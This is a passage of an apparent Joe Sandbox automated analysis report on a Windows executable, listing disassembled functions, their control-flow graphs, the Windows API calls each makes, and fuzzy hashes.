                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: File$Create$AllocHeapPointer
                                                                                  • String ID:
                                                                                  • API String ID: 4207849991-0
                                                                                  • Opcode ID: b3501de1549189c44e7e631b90cb851d7740b4e923cfc5c59c52eca9f0755e35
                                                                                  • Instruction ID: b1ded5e7b3c1179952fb066da43177db28dec5f90817629197f40925782b5e59
                                                                                  • Opcode Fuzzy Hash: b3501de1549189c44e7e631b90cb851d7740b4e923cfc5c59c52eca9f0755e35
                                                                                  • Instruction Fuzzy Hash: 1F51C0712483006BE3218F19DD44B6B7BF6EB44764F204A3AFA51A73E0D678EC55874A
                                                                                  Function 0040D819 Relevance: 7.6, APIs: 5, Instructions: 106memoryCOMMON
                                                                                  Download Yara Rule

                                                                                  Control-flow Graph

                                                                                  • Executed
                                                                                  • Not Executed
                                                                                  control_flow_graph 585 40d819-40d838 586 40d83a-40d83c 585->586 587 40d83e-40d840 585->587 586->587 588 40d8f2-40d905 RtlAllocateHeap 587->588 589 40d846-40d84b 587->589 591 40d907-40d925 588->591 592 40d93d-40d943 588->592 590 40d850 call 40da43 589->590 593 40d855-40d869 EnterCriticalSection 590->593 594 40d930-40d937 InitializeCriticalSection 591->594 595 40d927-40d929 591->595 596 40d877-40d879 593->596 594->592 595->594 597 40d92b-40d92e 595->597 598 40d86b-40d86e 596->598 599 40d87b 596->599 597->592 600 40d870-40d873 598->600 601 40d875 598->601 602 40d887-40d89b HeapAlloc 599->602 600->601 603 40d87d-40d885 600->603 601->596 604 40d8e5-40d8f0 LeaveCriticalSection 602->604 605 40d89d-40d8af call 40d819 602->605 603->602 603->604 604->592 607 40d8b4-40d8b8 605->607 607->604 608 40d8ba-40d8da 607->608 609 40d8dc 608->609 610 40d8df 608->610 609->610 610->604
                                                                                  APIs
                                                                                  • EnterCriticalSection.KERNEL32(00418624,0041861C,0040D9E2,00000000,FFFFFFED,00000200,76ED5E70,00409E76,FFFFFFED,00000010,00010000,00000004,00000200), ref: 0040D85A
                                                                                  • HeapAlloc.KERNEL32(00000000,00000018,?,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000), ref: 0040D891
                                                                                  • LeaveCriticalSection.KERNEL32(00418624,?,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000,00000000), ref: 0040D8EA
                                                                                  • RtlAllocateHeap.NTDLL(00000000,00000038,00000000,FFFFFFED,00000200,76ED5E70,00409E76,FFFFFFED,00000010,00010000,00000004,00000200), ref: 0040D8FB
                                                                                  • InitializeCriticalSection.KERNEL32(00000020,?,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000,00000000), ref: 0040D937
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: CriticalSection$Heap$AllocAllocateEnterInitializeLeave
                                                                                  • String ID:
                                                                                  • API String ID: 1272335518-0
                                                                                  • Opcode ID: f6530bd1139fc1308a1eb69ae95df56e95dab55b3f4bf4e911806d1cb07516e8
                                                                                  • Instruction ID: b7a84fb5e76b6252515cea3da09f74f38e7866411a6d0cfbb28ace0a8fd55691
                                                                                  • Opcode Fuzzy Hash: f6530bd1139fc1308a1eb69ae95df56e95dab55b3f4bf4e911806d1cb07516e8
                                                                                  • Instruction Fuzzy Hash: 7B31AEB2E007069FC3209F95D844A56BBF5FB44714B15C67EE465A77A0CB38E908CF98
                                                                                  Function 0040A96C Relevance: 6.0, APIs: 4, Instructions: 43COMMON
                                                                                  Download Yara Rule

                                                                                  Control-flow Graph

                                                                                  • Executed
                                                                                  • Not Executed
                                                                                  control_flow_graph 611 40a96c-40a989 SHGetFolderLocation 612 40a98b-40a997 SHGetPathFromIDListW 611->612 613 40a9be-40a9cb 611->613 614 40a9b5-40a9b8 CoTaskMemFree 612->614 615 40a999-40a9a4 wcslen 612->615 614->613 615->614 616 40a9a6-40a9ae 615->616 616->614 617 40a9b0-40a9b4 616->617 617->614
                                                                                  APIs
                                                                                  • SHGetFolderLocation.SHELL32(00000000,00948F58,00000000,00000000,00000000,00000000,00000000,?,00000104,0040A91B,00000000,00000000,00000104,?), ref: 0040A97E
                                                                                  • SHGetPathFromIDListW.SHELL32(00000000,?), ref: 0040A98F
                                                                                  • wcslen.MSVCRT ref: 0040A99A
                                                                                  • CoTaskMemFree.OLE32(00000000,?,00000104,0040A91B,00000000,00000000,00000104,?,?,?,?,00000009,00403791,00000001,00000000,00000000), ref: 0040A9B8
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: FolderFreeFromListLocationPathTaskwcslen
                                                                                  • String ID:
                                                                                  • API String ID: 4012708801-0
                                                                                  • Opcode ID: 19b4b104c0b63c733be71c6c9fc4bbe8097ebb7fbe2648ca0bea1f237fe466b4
                                                                                  • Instruction ID: 15676ea375ba95ce47a4ad1d62f3a4f85f84cc5ccd71b7d74cdbb22097095955
                                                                                  • Opcode Fuzzy Hash: 19b4b104c0b63c733be71c6c9fc4bbe8097ebb7fbe2648ca0bea1f237fe466b4
                                                                                  • Instruction Fuzzy Hash: 51F0D136610614BAC7205B6ADD08DAB7B78EF06660B414126F805E6250E7308920C7E5
                                                                                  Function 00402022 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON
                                                                                  Download Yara Rule

                                                                                  Control-flow Graph

                                                                                  • Executed
                                                                                  • Not Executed
                                                                                  control_flow_graph 618 402022-402024 619 402029-402034 618->619 619->619 620 402036-4020ac call 40dfc0 call 405060 * 3 ShellExecuteExW 619->620 629 4020b0-4020cd call 405532 GetExitCodeProcess 620->629 632 4020dd 629->632 633 4020cf-4020d9 629->633 632->629 633->632 634 4020db-402106 call 40df50 * 3 633->634
                                                                                  APIs
                                                                                  • ShellExecuteExW.SHELL32(?), ref: 004020A7
                                                                                  • GetExitCodeProcess.KERNEL32(?,?), ref: 004020C6
                                                                                  Strings
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: CodeExecuteExitProcessShell
                                                                                  • String ID: open
                                                                                  • API String ID: 1016612177-2758837156
                                                                                  • Opcode ID: 4fb2f0ec770fda151a68555488377ed97fba283763a87ea546f97f21bf454217
                                                                                  • Instruction ID: 2b8263a944a9b57d4591781c670f1b736d97a98816e9e989756960c1ab26e777
                                                                                  • Opcode Fuzzy Hash: 4fb2f0ec770fda151a68555488377ed97fba283763a87ea546f97f21bf454217
                                                                                  • Instruction Fuzzy Hash: 66219D71008309AFD700EF54C855A9FBBE8EF44304F10882EF299E2291DB79D909CF96
                                                                                  Function 00401B8F Relevance: 4.7, APIs: 3, Instructions: 233libraryCOMMON
                                                                                  Download Yara Rule

                                                                                  Control-flow Graph

                                                                                  APIs
                                                                                    • Part of subcall function 0040DFC0: TlsGetValue.KERNEL32(0000000D,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000,00000000,00000004,00000000,00417070,00000008,0000000C), ref: 0040DFD7
                                                                                    • Part of subcall function 0040DE80: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040DE86
                                                                                    • Part of subcall function 0040DE80: TlsGetValue.KERNEL32(0000000D), ref: 0040DE95
                                                                                    • Part of subcall function 0040DE80: SetLastError.KERNEL32(?), ref: 0040DEAB
                                                                                    • Part of subcall function 00409698: GetModuleFileNameW.KERNEL32(00000000,00000104,00000104,00000000,?,?,?,00401BC5,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000), ref: 004096B4
                                                                                    • Part of subcall function 00409698: wcscmp.MSVCRT ref: 004096C2
                                                                                    • Part of subcall function 00409698: memmove.MSVCRT(00000000,00000008,\\?\,?,?,?,00401BC5,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000000), ref: 004096DA
                                                                                    • Part of subcall function 00405182: TlsGetValue.KERNEL32(00000000,00402FDE,00000000,00000008,00000001,00000000,00000000,00000000,00000000,00000000,?,00000200,00000000,00000000,00000000,00000000), ref: 00405189
                                                                                  • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,0040118B,00418048,00000000), ref: 00401BCD
                                                                                  • EnumResourceTypesW.KERNEL32(00000000,00000000,00000000), ref: 00401BEA
                                                                                  • FreeLibrary.KERNEL32(?,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,0040118B,00418048), ref: 00401BF2
                                                                                    • Part of subcall function 0040E020: wcslen.MSVCRT ref: 0040E037
                                                                                    • Part of subcall function 0040DEC0: TlsGetValue.KERNEL32(0000000D,00000000,00000000), ref: 0040DECC
                                                                                    • Part of subcall function 0040DEC0: RtlAllocateHeap.NTDLL(00940000,00000000,?), ref: 0040DEF9
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: Value$ErrorLastLibrary$AllocateEnumFileFreeHeapLoadModuleNameResourceTypesmemmovewcscmpwcslen
                                                                                  • String ID:
                                                                                  • API String ID: 983379767-0
                                                                                  • Opcode ID: ea458f1c63abfdf06fd90357c43bf09d830a84b369ce573894b611d230e9b04f
                                                                                  • Instruction ID: 657320b8a0b9e8c73ad23a805e8a4a11547555e009ba7fb8d64ba55fc2021fd8
                                                                                  • Opcode Fuzzy Hash: ea458f1c63abfdf06fd90357c43bf09d830a84b369ce573894b611d230e9b04f
                                                                                  • Instruction Fuzzy Hash: 22514AB59047007AE2007BB2DD82E7F66AEDBD4709F10893FF944790D2C93C984996AE
                                                                                  Function 0040B020 Relevance: 4.6, APIs: 3, Instructions: 102COMMON
                                                                                  Download Yara Rule

                                                                                  Control-flow Graph

                                                                                  • Executed
                                                                                  • Not Executed
                                                                                  control_flow_graph 787 40b020-40b034 788 40b127-40b12d 787->788 789 40b03a-40b03e 787->789 790 40b040-40b068 SetFilePointer 789->790 791 40b06b-40b075 789->791 790->791 792 40b077-40b082 791->792 793 40b0e8-40b0f3 call 40aa40 791->793 794 40b0d3-40b0e5 792->794 795 40b084-40b085 792->795 802 40b115-40b122 793->802 803 40b0f5-40b112 WriteFile 793->803 797 40b087-40b08a 795->797 798 40b0bc-40b0d0 795->798 800 40b0a7-40b0b9 797->800 801 40b08c-40b08d 797->801 804 40b091-40b0a4 memcpy 801->804 802->804
                                                                                  APIs
                                                                                  • SetFilePointer.KERNELBASE(?,?,?,00000001), ref: 0040B058
                                                                                  • memcpy.MSVCRT(?,?,?,?,00000001), ref: 0040B092
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: FilePointermemcpy
                                                                                  • String ID:
                                                                                  • API String ID: 1104741977-0
                                                                                  • Opcode ID: 01662b736399dd0210b3166c1eac24a2b1f7f8f1802043f53fe0b6834fe756e1
                                                                                  • Instruction ID: 223037c69186752c1411635bf46ae5d03fa463101b4e1ddb65380de8071f5603
                                                                                  • Opcode Fuzzy Hash: 01662b736399dd0210b3166c1eac24a2b1f7f8f1802043f53fe0b6834fe756e1
                                                                                  • Instruction Fuzzy Hash: 93313A392047019FC320DF29D844E5BB7E1EFD4314F04882EE59A97750D335E919CBA6
                                                                                  Function 0040DEC0 Relevance: 4.6, APIs: 3, Instructions: 53memoryCOMMON
                                                                                  Download Yara Rule

                                                                                  Control-flow Graph

                                                                                  • Executed
                                                                                  • Not Executed
                                                                                  control_flow_graph 805 40dec0-40dee7 TlsGetValue 806 40df06-40df25 RtlReAllocateHeap 805->806 807 40dee9-40df04 RtlAllocateHeap 805->807 808 40df27-40df4d call 40e3a0 806->808 807->808
                                                                                  APIs
                                                                                  • TlsGetValue.KERNEL32(0000000D,00000000,00000000), ref: 0040DECC
                                                                                  • RtlAllocateHeap.NTDLL(00940000,00000000,?), ref: 0040DEF9
                                                                                  • RtlReAllocateHeap.NTDLL(00940000,00000000,?,?), ref: 0040DF1C
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: AllocateHeap$Value
                                                                                  • String ID:
                                                                                  • API String ID: 2497967046-0
                                                                                  • Opcode ID: 391403ca008f830686c32838620f38fbd141f2e22e04a7bef1baef16fc724d55
                                                                                  • Instruction ID: 93a72ebc0765164a1c418c05f64e83f02c193a946cd328b9657e87a1490d81f0
                                                                                  • Opcode Fuzzy Hash: 391403ca008f830686c32838620f38fbd141f2e22e04a7bef1baef16fc724d55
                                                                                  • Instruction Fuzzy Hash: F111B974A00208EFCB04DF98D894E9ABBB6FF88314F20C159F9099B355D735AA41DB94
                                                                                  Function 0040A6C5 Relevance: 4.5, APIs: 3, Instructions: 41COMMON
                                                                                  Download Yara Rule

                                                                                  Control-flow Graph

                                                                                  • Executed
                                                                                  • Not Executed
                                                                                  control_flow_graph 811 40a6c5-40a6d2 812 40a6d4-40a706 wcsncpy wcslen 811->812 813 40a73d 811->813 814 40a71e-40a726 812->814 815 40a73f-40a742 813->815 816 40a708-40a70f 814->816 817 40a728-40a73b CreateDirectoryW 814->817 818 40a711-40a714 816->818 819 40a71b 816->819 817->815 818->819 820 40a716-40a719 818->820 819->814 820->817 820->819
                                                                                  APIs
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: CreateDirectorywcslenwcsncpy
                                                                                  • String ID:
                                                                                  • API String ID: 961886536-0
                                                                                  • Opcode ID: cc8a7ec8d54b194b434c4abf9ee5240936a68a416eca0cc9abdb5220f9513762
                                                                                  • Instruction ID: 5eb92d4f139d310a1ce384b3b75a423d404f976685da56e70024377017fd7883
                                                                                  • Opcode Fuzzy Hash: cc8a7ec8d54b194b434c4abf9ee5240936a68a416eca0cc9abdb5220f9513762
                                                                                  • Instruction Fuzzy Hash: 3E0167B180131896CB24DB64CC8DEBA73B8DF04304F6086BBE415E71D1E779DAA4DB5A
                                                                                  Function 00408DEE Relevance: 4.5, APIs: 3, Instructions: 20COMMON
                                                                                  Download Yara Rule

                                                                                  Control-flow Graph

                                                                                  • Executed
                                                                                  • Not Executed
                                                                                  control_flow_graph 821 408dee-408e26 memset InitCommonControlsEx CoInitialize
                                                                                  APIs
                                                                                  • memset.MSVCRT ref: 00408DFB
                                                                                  • InitCommonControlsEx.COMCTL32(00000008,00001000), ref: 00408E15
                                                                                  • CoInitialize.OLE32(00000000), ref: 00408E1D
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: CommonControlsInitInitializememset
                                                                                  • String ID:
                                                                                  • API String ID: 2179856907-0
                                                                                  • Opcode ID: 91c7401402fa2f0ea5928b71181181df8ef358baa4c0a6ad788b24867e7e8746
                                                                                  • Instruction ID: d18f3e268914b4fee2ab689e9e6bda8f6ab82eec5aee9dd7765ec6ce908ab83c
                                                                                  • Opcode Fuzzy Hash: 91c7401402fa2f0ea5928b71181181df8ef358baa4c0a6ad788b24867e7e8746
                                                                                  • Instruction Fuzzy Hash: 12E08CB088430CBBEB009BD0DC0EF8DBB7CEB00315F0041A4F904A2280EBB466488B95
                                                                                  Function 0040ADC0 Relevance: 3.1, APIs: 2, Instructions: 65memoryfileCOMMON
                                                                                  Download Yara Rule

                                                                                  Control-flow Graph

                                                                                  • Executed
                                                                                  • Not Executed
                                                                                  control_flow_graph 822 40adc0-40add9 call 40d498 825 40ae6e-40ae73 822->825 826 40addf-40adfe CreateFileW 822->826 827 40ae00-40ae02 826->827 828 40ae52-40ae55 826->828 827->828 831 40ae04-40ae0b 827->831 829 40ae57 828->829 830 40ae59-40ae60 call 40d40a 828->830 829->830 835 40ae65-40ae6b 830->835 833 40ae20 831->833 834 40ae0d-40ae1e HeapAlloc 831->834 836 40ae23-40ae4a 833->836 834->836 837 40ae4c 836->837 838 40ae4e-40ae50 836->838 837->838 838->828 838->835
                                                                                  APIs
                                                                                    • Part of subcall function 0040D498: EnterCriticalSection.KERNEL32(00000020,00000000,?,00000000,0040ADD5,00000000,?,?,00000000,004033A4,00000000,00000000,00000000,00000000,?,00000000), ref: 0040D4A3
                                                                                    • Part of subcall function 0040D498: LeaveCriticalSection.KERNEL32(00000020,?,00000000,0040ADD5,00000000,?,?,00000000,004033A4,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0040D51E
                                                                                  • CreateFileW.KERNELBASE(00000000,80000000,00000000,00000000,00000003,00000080,00000000,?,00000000,?,?,00000000,004033A4,00000000,00000000,00000000), ref: 0040ADF3
                                                                                  • HeapAlloc.KERNEL32(00000000,00001000,?,00000000,?,?,00000000,004033A4,00000000,00000000,00000000,00000000,?,00000000,00000000,00000800), ref: 0040AE15
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: CriticalSection$AllocCreateEnterFileHeapLeave
                                                                                  • String ID:
                                                                                  • API String ID: 3705299215-0
                                                                                  • Opcode ID: e305dac00e43d1f01632c500e63f0068ba79cd60e0177f680cb6723e5d67acda
                                                                                  • Instruction ID: 12139a0eb1477c71ece9156acb4b07c5ee84e209973367f4cf7a68f803bf58ce
                                                                                  • Opcode Fuzzy Hash: e305dac00e43d1f01632c500e63f0068ba79cd60e0177f680cb6723e5d67acda
                                                                                  • Instruction Fuzzy Hash: C1119331140300ABC2305F1AEC44B57BBF9EB85764F14863EF5A5A73E0C7759C158BA9
                                                                                  Function 0040DBCA Relevance: 3.1, APIs: 2, Instructions: 61memoryCOMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                    • Part of subcall function 0040DD1D: HeapFree.KERNEL32(00000000,-00000018,00000200,00000000,0040DBDB,00000200,?,?,?,0040112D,0000000C,000186A1,00000007,00417080,00418098,00000004), ref: 0040DD5E
                                                                                  • RtlAllocateHeap.NTDLL(00000000,FFFFFFDD,?,00000200,?,?,?,0040112D,0000000C,000186A1,00000007,00417080,00418098,00000004,00000000,00417070), ref: 0040DBFA
                                                                                  • memset.MSVCRT ref: 0040DC35
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: Heap$AllocateFreememset
                                                                                  • String ID:
                                                                                  • API String ID: 2774703448-0
                                                                                  • Opcode ID: 5a98dcc60eb41190d4dd3f8e51887e861c9e07386c3483abd70395c86239bf10
                                                                                  • Instruction ID: c1bdd2e89517895a38d7a8cc2bcc280f97e8981c2924b00dcd90f9207400bfe8
                                                                                  • Opcode Fuzzy Hash: 5a98dcc60eb41190d4dd3f8e51887e861c9e07386c3483abd70395c86239bf10
                                                                                  • Instruction Fuzzy Hash: E51167729043149BC320DF59DC80A8BBBE8EF88B10F01492EB988A7351D774E804CBA5
                                                                                  Function 0040DE30 Relevance: 3.0, APIs: 2, Instructions: 12memoryCOMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • HeapCreate.KERNELBASE(00000000,00001000,00000000,?,00401053,00000000,00001000,00000000,00000000), ref: 0040DE3C
                                                                                  • TlsAlloc.KERNEL32(?,00401053,00000000,00001000,00000000,00000000), ref: 0040DE47
                                                                                    • Part of subcall function 0040E6A0: HeapAlloc.KERNEL32(00940000,00000000,0000000C,?,?,0040DE57,?,00401053,00000000,00001000,00000000,00000000), ref: 0040E6AE
                                                                                    • Part of subcall function 0040E6A0: HeapAlloc.KERNEL32(00940000,00000000,00000010,?,?,0040DE57,?,00401053,00000000,00001000,00000000,00000000), ref: 0040E6C2
                                                                                    • Part of subcall function 0040E6A0: TlsSetValue.KERNEL32(0000000D,00000000,?,?,0040DE57,?,00401053,00000000,00001000,00000000,00000000), ref: 0040E6EB
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: AllocHeap$CreateValue
                                                                                  • String ID:
                                                                                  • API String ID: 493873155-0
                                                                                  • Opcode ID: f31918e335419563cb91e7816fe34751be6fcb3fb2708b1ef5dadcb8cb13decf
                                                                                  • Instruction ID: f6fb69b35e6ce2edff263c55ffd8902d3e18a9f91630c6f11d167ca4d15ccc07
                                                                                  • Opcode Fuzzy Hash: f31918e335419563cb91e7816fe34751be6fcb3fb2708b1ef5dadcb8cb13decf
                                                                                  • Instruction Fuzzy Hash: 4ED012309C8304ABE7402FB1BC0A7843B789708765F604835F509572D1D9BA6090495C
                                                                                  Function 0040A7B9 Relevance: 3.0, APIs: 2, Instructions: 12fileCOMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • SetFileAttributesW.KERNEL32(00000002,00000080,0040A7F2,00948F58,00000000,00401FDF,00000000,-0000012C,004023BA,00000000,?,00000000,00000001,00000000,00000000,00000000), ref: 0040A7D0
                                                                                  • DeleteFileW.KERNELBASE(00000000,0040A7F2,00948F58,00000000,00401FDF,00000000,-0000012C,004023BA,00000000,?,00000000,00000001,00000000,00000000,00000000,00000002), ref: 0040A7DA
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: File$AttributesDelete
                                                                                  • String ID:
                                                                                  • API String ID: 2910425767-0
                                                                                  • Opcode ID: d362f7088f03a7c0c281f2bbae1f9f88548ac7f83f4d98d140da13098a0d0c91
                                                                                  • Instruction ID: f7dd43ce8ab679ab9acf2fbd66ade7664d9bbbd5be98dbe0a51a073a4b2bc51f
                                                                                  • Opcode Fuzzy Hash: d362f7088f03a7c0c281f2bbae1f9f88548ac7f83f4d98d140da13098a0d0c91
